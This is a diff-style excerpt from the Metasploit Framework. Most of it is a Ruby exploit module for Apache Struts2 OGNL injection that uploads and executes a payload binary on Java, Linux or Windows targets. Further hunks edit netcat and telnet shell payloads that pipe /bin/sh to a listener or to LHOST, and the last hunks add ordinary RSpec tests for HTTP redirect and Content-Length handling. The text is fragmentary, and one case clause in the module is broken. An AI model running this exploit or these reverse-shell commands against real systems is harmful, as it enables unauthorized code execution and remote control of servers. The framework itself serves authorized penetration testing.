OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def get_target_platform
|
||||
target.platform.platforms.first
|
||||
end
|
||||
|
||||
def temp_path
|
||||
@TMPPATH ||= lambda {
|
||||
path = datastore['TMPPATH']
|
||||
return nil unless path
|
||||
|
||||
case get_target_platform
|
||||
when Msf::Module::Platform::Windows
|
||||
slash = '\\'
|
||||
when
|
||||
slash = '/'
|
||||
else
|
||||
end
|
||||
|
||||
unless path.end_with?('/')
|
||||
path << '/'
|
||||
end
|
||||
return path
|
||||
}.call
|
||||
end
|
||||
|
||||
def send_http_request(payload, params_hash)
|
||||
uri = normalize_uri(datastore['TARGETURI'])
|
||||
uri = "#{uri}?#{payload}"
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
'vars_post' => params_hash
|
||||
)
|
||||
if resp && resp.code == 404
|
||||
fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
|
||||
end
|
||||
resp
|
||||
end
|
||||
|
||||
def generate_rce_payload(code)
|
||||
payload = "method:"
|
||||
payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
|
||||
payload << ","
|
||||
payload << Rex::Text.uri_encode(code)
|
||||
payload << ","
|
||||
payload << Rex::Text.uri_encode("1?#xx:#request.toString")
|
||||
payload
|
||||
end
|
||||
|
||||
def upload_exec(cmd, filename, content)
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
var_c = rand_text_alpha_lower(4)
|
||||
var_d = rand_text_alpha_lower(4)
|
||||
var_e = rand_text_alpha_lower(4)
|
||||
var_f = rand_text_alpha_lower(4)
|
||||
|
||||
code = "##{var_a}=new sun.misc.BASE64Decoder(),"
|
||||
code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
|
||||
code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
|
||||
code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
|
||||
code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
|
||||
payload = generate_rce_payload(code)
|
||||
|
||||
params_hash = {
|
||||
var_d => Rex::Text.encode_base64(cmd),
|
||||
var_e => Rex::Text.encode_base64(filename),
|
||||
var_f => content
|
||||
}
|
||||
send_http_request(payload, params_hash)
|
||||
end
|
||||
|
||||
def check
|
||||
var_a = rand_text_alpha_lower(4)
|
||||
var_b = rand_text_alpha_lower(4)
|
||||
|
||||
addend_one = rand_text_numeric(rand(3) + 1).to_i
|
||||
addend_two = rand_text_numeric(rand(3) + 1).to_i
|
||||
sum = addend_one + addend_two
|
||||
flag = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
||||
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
||||
code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
|
||||
code << "##{var_a}.print(#parameters.#{var_b}[0]),"
|
||||
code << "##{var_a}.close()"
|
||||
|
||||
payload = generate_rce_payload(code)
|
||||
params_hash = { var_b => flag }
|
||||
|
||||
begin
|
||||
resp = send_http_request(payload, params_hash)
|
||||
rescue Msf::Exploit::Failed
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
payload_exe = rand_text_alphanumeric(4 + rand(4))
|
||||
case target['Platform']
|
||||
when 'java'
|
||||
payload_exe = "#{temp_path}#{payload_exe}.jar"
|
||||
pl_exe = payload.encoded_jar.pack
|
||||
command = "java -jar #{payload_exe}"
|
||||
when 'linux'
|
||||
path = datastore['TMPPATH'] || '/tmp/'
|
||||
pl_exe = generate_payload_exe
|
||||
payload_exe = "#{path}#{payload_exe}"
|
||||
command = "/bin/sh -c #{payload_exe}"
|
||||
when 'win'
|
||||
path = temp_path || '.\\'
|
||||
pl_exe = generate_payload_exe
|
||||
payload_exe = "#{path}#{payload_exe}.exe"
|
||||
command = "cmd.exe /c #{payload_exe}"
|
||||
else
|
||||
fail_with(Failure::NoTarget, 'Unsupported target platform!')
|
||||
end
|
||||
|
||||
pl_content = pl_exe.unpack('H*').join()
|
||||
|
||||
print_status("Uploading exploit to #{payload_exe}, and executing it.")
|
||||
upload_exec(command, payload_exe, pl_content)
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
|
@ -52,7 +52,7 @@ module MetasploitModule
|
|||
#
|
||||
def command_string
|
||||
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
||||
"mknod /tmp/#{backpipe} p; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
|
||||
"mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -19,7 +19,7 @@ module MetasploitModule
|
|||
super(merge_info(info,
|
||||
'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
|
||||
'Description' => %q{
|
||||
Creates an interactive shell via mknod and telnet.
|
||||
Creates an interactive shell via mkfifo and telnet.
|
||||
This method works on Debian and other systems compiled
|
||||
without /dev/tcp support. This module uses the '-z'
|
||||
option included on some systems to encrypt using SSL.
|
||||
|
@ -53,6 +53,6 @@ module MetasploitModule
|
|||
#
|
||||
def command_string
|
||||
pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
|
||||
cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
|
||||
cmd = "mkfifo #{pipe_name} && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -52,7 +52,7 @@ module MetasploitModule
|
|||
#
|
||||
def command_string
|
||||
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
|
||||
"mknod /tmp/#{backpipe} p; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
|
||||
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -12,6 +12,38 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do
|
|||
mod
|
||||
end
|
||||
|
||||
describe '#reconfig_redirect_opts!' do
|
||||
context 'when URI is http://127.0.0.1/test/redirect.php' do
|
||||
it 'should return /test/redirect.php as the URI path' do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:headers).and_return({'Location'=>'http://127.0.0.1/test/redirect.php'})
|
||||
opts = {}
|
||||
subject.reconfig_redirect_opts!(res, opts)
|
||||
expect(opts['uri']).to eq('/test/redirect.php')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when URI is /test/redirect.php' do
|
||||
it 'should return /test/redirect.php' do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:headers).and_return({'Location'=>'/test/redirect.php'})
|
||||
opts = {}
|
||||
subject.reconfig_redirect_opts!(res, opts)
|
||||
expect(opts['uri']).to eq('/test/redirect.php')
|
||||
end
|
||||
end
|
||||
|
||||
context 'when URI is ./redirect.php' do
|
||||
it 'should return /redirect.php' do
|
||||
res = Rex::Proto::Http::Response.new
|
||||
allow(res).to receive(:headers).and_return({'Location'=>'./redirect.php'})
|
||||
opts = {}
|
||||
subject.reconfig_redirect_opts!(res, opts)
|
||||
expect(opts['uri']).to eq('/redirect.php')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#vhost' do
|
||||
|
||||
let(:rhost) do
|
||||
|
|
|
@ -170,6 +170,16 @@ RSpec.describe Rex::Proto::Http::ClientRequest do
|
|||
:set_content_len_header => { args: 1024, result: "Content-Length: 1024\r\n"}
|
||||
}
|
||||
],
|
||||
|
||||
[
|
||||
"with a POST request and no payload body",
|
||||
default_options.merge({
|
||||
'method' => 'POST'
|
||||
}),
|
||||
{
|
||||
:set_content_len_header => { args: 0, result: "Content-Length: 0\r\n"}
|
||||
}
|
||||
],
|
||||
|
||||
].each do |c, opts, expectations|
|
||||
context c do
|
||||
|
|
Loading…
Reference in New Issue